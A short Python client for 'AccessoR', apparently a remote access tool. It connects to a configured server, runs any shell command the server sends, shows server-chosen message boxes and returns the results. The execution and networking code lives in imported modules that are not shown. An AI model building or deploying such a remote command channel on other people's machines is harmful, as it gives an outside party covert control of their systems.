import os
from sys import argv
import socket

# WARNING!
from config import *
from codes import *
from system import System
from client import Client



class AccessoRClient():

    """
        Client side of AccessoR
    """

    def __init__(self, **config):
        self._system = System()

        self._client = Client(**config)
        self._client.start(self._process_command)


    def _process_command(self, header: dict, body):
        """
        Handles server commands

        :param header:            Message header
        :param body:              Message body
        """
        message_type = header["type"]

        if message_type == MessageType.CMD:
            command = body.get("command")
            response = self._system.execute(command)

        elif message_type == MessageType.MSGBOX:
            msg_type = int(body.get("type"))
            title = body.get("title")
            text = body.get("text")
            path = body.get("filepath")
            amount = body.get("amount")

            response = self._system.show_msgbox(msg_type, title, text, amount, path)

        elif message_type == MessageType.FILE:
            response = Status.NOT_IMPLEMENTED, "Coming soon.."

        else:
            response = (Status.FAILURE, "Unknown type!")


        self._client.send_response(*response)


if __name__ == "__main__":
    AccessoRClient(addr=(IP, PORT),
        recon_time=RECONNECT_TIME,
        packet_size=PACKET_SIZE)
